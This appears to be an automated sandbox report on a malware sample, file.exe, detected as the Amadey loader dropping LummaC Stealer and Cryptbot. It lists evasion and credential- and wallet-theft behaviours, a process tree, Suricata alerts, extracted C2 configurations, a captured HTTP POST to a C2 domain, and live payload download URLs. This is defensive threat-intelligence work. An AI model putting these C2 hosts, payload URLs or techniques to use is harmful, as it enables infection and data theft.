Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578703
MD5:	636eca2de789ef5733f243cd5f696d3e
SHA1:	e346d7c38fb89e58059ef4223de0fbf9231d6735
SHA256:	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Cryptbot, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected Cryptbot

Yara detected LummaC Stealer

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7336 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 636ECA2DE789EF5733F243CD5F696D3E)

skotes.exe (PID: 7528 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 636ECA2DE789EF5733F243CD5F696D3E)

skotes.exe (PID: 7544 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 636ECA2DE789EF5733F243CD5F696D3E)

skotes.exe (PID: 1908 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 636ECA2DE789EF5733F243CD5F696D3E)

3a0398bc51.exe (PID: 6392 cmdline: "C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 7116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

3a0398bc51.exe (PID: 7516 cmdline: "C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

d6bf37692b.exe (PID: 7348 cmdline: "C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe" MD5: 25FB9C54265BBACC7A055174479F0B70)

7ba71287b7.exe (PID: 7624 cmdline: "C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe" MD5: 979B5B392C771138DDBDD0E534FC3F00)

9f58fa9406.exe (PID: 7788 cmdline: "C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

9f58fa9406.exe (PID: 2232 cmdline: "C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

66405b473b.exe (PID: 7972 cmdline: "C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe" MD5: 5968B059B7177E6F97A543A06E670B29)

386e7e479d.exe (PID: 8052 cmdline: "C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe" MD5: E8AF4D0D0B47AC68D762B7F288AE8E6E)

conhost.exe (PID: 4828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

386e7e479d.exe (PID: 7164 cmdline: "C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe" MD5: E8AF4D0D0B47AC68D762B7F288AE8E6E)

400f5197b1.exe (PID: 6352 cmdline: "C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe" MD5: 669ED3665495A4A52029FF680EC8EBA9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Malware Configuration

Threatname: LummaC

{"C2 url": ["aspecteirs.lat", "rapeflowwj.lat", "pancakedipyps.click", "necklacebudi.lat", "discokeyus.lat", "grannyejh.lat", "crosshuaht.lat", "energyaffai.lat", "sustainskelet.lat"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2766441206.0000000003283000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000F.00000002.2773582491.0000000005700000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000003.1738392783.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1772643479.0000000004F90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2770317391.0000000004061000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000003.2298005500.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1771220555.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 3a0398bc51.exe PID: 7516	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3a0398bc51.exe PID: 7516	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3a0398bc51.exe PID: 7516	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d6bf37692b.exe PID: 7348	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d6bf37692b.exe PID: 7348	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d6bf37692b.exe PID: 7348	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9f58fa9406.exe PID: 7788	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 9f58fa9406.exe PID: 2232	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.9f58fa9406.exe.5700000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
15.2.9f58fa9406.exe.408d790.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
6.2.skotes.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.ea0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:12:16.508655+0100	2028371	3	Unknown Traffic	192.168.2.4	49775	172.67.209.202	443	TCP
2024-12-20T07:12:18.505324+0100	2028371	3	Unknown Traffic	192.168.2.4	49780	172.67.209.202	443	TCP
2024-12-20T07:12:20.962782+0100	2028371	3	Unknown Traffic	192.168.2.4	49789	172.67.209.202	443	TCP
2024-12-20T07:12:23.819421+0100	2028371	3	Unknown Traffic	192.168.2.4	49797	172.67.209.202	443	TCP
2024-12-20T07:12:23.824815+0100	2028371	3	Unknown Traffic	192.168.2.4	49796	172.67.180.113	443	TCP
2024-12-20T07:12:25.788736+0100	2028371	3	Unknown Traffic	192.168.2.4	49804	172.67.180.113	443	TCP
2024-12-20T07:12:26.576398+0100	2028371	3	Unknown Traffic	192.168.2.4	49806	172.67.209.202	443	TCP
2024-12-20T07:12:30.225177+0100	2028371	3	Unknown Traffic	192.168.2.4	49816	172.67.209.202	443	TCP
2024-12-20T07:12:30.277104+0100	2028371	3	Unknown Traffic	192.168.2.4	49817	172.67.180.113	443	TCP
2024-12-20T07:12:32.803963+0100	2028371	3	Unknown Traffic	192.168.2.4	49822	172.67.209.202	443	TCP
2024-12-20T07:12:32.873978+0100	2028371	3	Unknown Traffic	192.168.2.4	49823	172.67.180.113	443	TCP
2024-12-20T07:12:35.315410+0100	2028371	3	Unknown Traffic	192.168.2.4	49830	172.67.180.113	443	TCP
2024-12-20T07:12:38.181605+0100	2028371	3	Unknown Traffic	192.168.2.4	49841	172.67.209.202	443	TCP
2024-12-20T07:12:38.878043+0100	2028371	3	Unknown Traffic	192.168.2.4	49844	172.67.180.113	443	TCP
2024-12-20T07:12:42.228584+0100	2028371	3	Unknown Traffic	192.168.2.4	49853	172.67.180.113	443	TCP
2024-12-20T07:12:45.822891+0100	2028371	3	Unknown Traffic	192.168.2.4	49868	172.67.180.113	443	TCP
2024-12-20T07:13:06.159831+0100	2028371	3	Unknown Traffic	192.168.2.4	49920	178.62.201.34	443	TCP
2024-12-20T07:13:09.944463+0100	2028371	3	Unknown Traffic	192.168.2.4	49931	45.77.249.79	443	TCP
2024-12-20T07:13:15.857890+0100	2028371	3	Unknown Traffic	192.168.2.4	49949	172.67.180.113	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:12:17.272931+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49775	172.67.209.202	443	TCP
2024-12-20T07:12:19.308855+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49780	172.67.209.202	443	TCP
2024-12-20T07:12:24.561060+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49796	172.67.180.113	443	TCP
2024-12-20T07:12:26.545974+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49804	172.67.180.113	443	TCP
2024-12-20T07:12:39.245388+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49841	172.67.209.202	443	TCP
2024-12-20T07:12:46.609721+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49868	172.67.180.113	443	TCP
2024-12-20T07:13:06.733568+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49920	178.62.201.34	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:12:17.272931+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49775	172.67.209.202	443	TCP
2024-12-20T07:12:24.561060+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49796	172.67.180.113	443	TCP
2024-12-20T07:13:06.733568+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49920	178.62.201.34	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:12:19.308855+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49780	172.67.209.202	443	TCP
2024-12-20T07:12:26.545974+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49804	172.67.180.113	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:13:09.944463+0100	2058215	1	Domain Observed Used for C2 Detected	192.168.2.4	49931	45.77.249.79	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:13:06.159831+0100	2058223	1	Domain Observed Used for C2 Detected	192.168.2.4	49920	178.62.201.34	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:12:16.508655+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49775	172.67.209.202	443	TCP
2024-12-20T07:12:18.505324+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49780	172.67.209.202	443	TCP
2024-12-20T07:12:20.962782+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49789	172.67.209.202	443	TCP
2024-12-20T07:12:23.819421+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49797	172.67.209.202	443	TCP
2024-12-20T07:12:26.576398+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49806	172.67.209.202	443	TCP
2024-12-20T07:12:30.225177+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49816	172.67.209.202	443	TCP
2024-12-20T07:12:32.803963+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49822	172.67.209.202	443	TCP
2024-12-20T07:12:38.181605+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49841	172.67.209.202	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:12:15.390230+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49771	185.215.113.43	80	TCP
2024-12-20T07:12:23.863075+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49795	185.215.113.43	80	TCP
2024-12-20T07:12:36.181598+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49832	185.215.113.43	80	TCP
2024-12-20T07:12:43.775072+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49859	185.215.113.43	80	TCP
2024-12-20T07:12:56.017206+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49895	185.215.113.43	80	TCP
2024-12-20T07:13:02.754004+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49912	185.215.113.43	80	TCP
2024-12-20T07:13:10.643779+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49933	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:13:09.164511+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49930	147.45.113.159	80	TCP
2024-12-20T07:13:10.922221+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49939	147.45.113.159	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:13:03.182945+0100	2058212	1	Domain Observed Used for C2 Detected	192.168.2.4	58148	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:13:06.740211+0100	2058214	1	Domain Observed Used for C2 Detected	192.168.2.4	49215	1.1.1.1	53	UDP
2024-12-20T07:13:07.767544+0100	2058214	1	Domain Observed Used for C2 Detected	192.168.2.4	49215	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:13:03.410008+0100	2058222	1	Domain Observed Used for C2 Detected	192.168.2.4	58623	1.1.1.1	53	UDP
2024-12-20T07:13:04.416167+0100	2058222	1	Domain Observed Used for C2 Detected	192.168.2.4	58623	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:12:14.960288+0100	2058397	1	Domain Observed Used for C2 Detected	192.168.2.4	62065	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:12:24.765836+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49797	172.67.209.202	443	TCP
2024-12-20T07:12:39.958107+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49844	172.67.180.113	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:12:05.450837+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49747	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:12:14.039190+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49756	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:12:10.150335+0100	2803305	3	Unknown Traffic	192.168.2.4	49759	31.41.244.11	80	TCP
2024-12-20T07:12:16.836888+0100	2803305	3	Unknown Traffic	192.168.2.4	49777	31.41.244.11	80	TCP
2024-12-20T07:12:25.318927+0100	2803305	3	Unknown Traffic	192.168.2.4	49801	31.41.244.11	80	TCP
2024-12-20T07:12:37.632806+0100	2803305	3	Unknown Traffic	192.168.2.4	49838	31.41.244.11	80	TCP
2024-12-20T07:12:45.226074+0100	2803305	3	Unknown Traffic	192.168.2.4	49867	31.41.244.11	80	TCP
2024-12-20T07:12:57.468645+0100	2803305	3	Unknown Traffic	192.168.2.4	49899	31.41.244.11	80	TCP
2024-12-20T07:13:04.446255+0100	2803305	3	Unknown Traffic	192.168.2.4	49916	31.41.244.11	80	TCP

ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:13:06.161905+0100	2822521	1	Domain Observed Used for C2 Detected	178.62.201.34	443	192.168.2.4	49920	TCP
2024-12-20T07:13:15.675863+0100	2822521	1	Domain Observed Used for C2 Detected	45.77.249.79	443	192.168.2.4	49931	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click

Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2983011812.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2983011812.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2983011812.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php8
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php86
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpM3
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2983011812.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exe
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exeSR
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exeb
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe8476L
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe-
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exeP
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/london/random.exeV
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/london/random.exe~
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe.
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe0
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe
Source: 3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
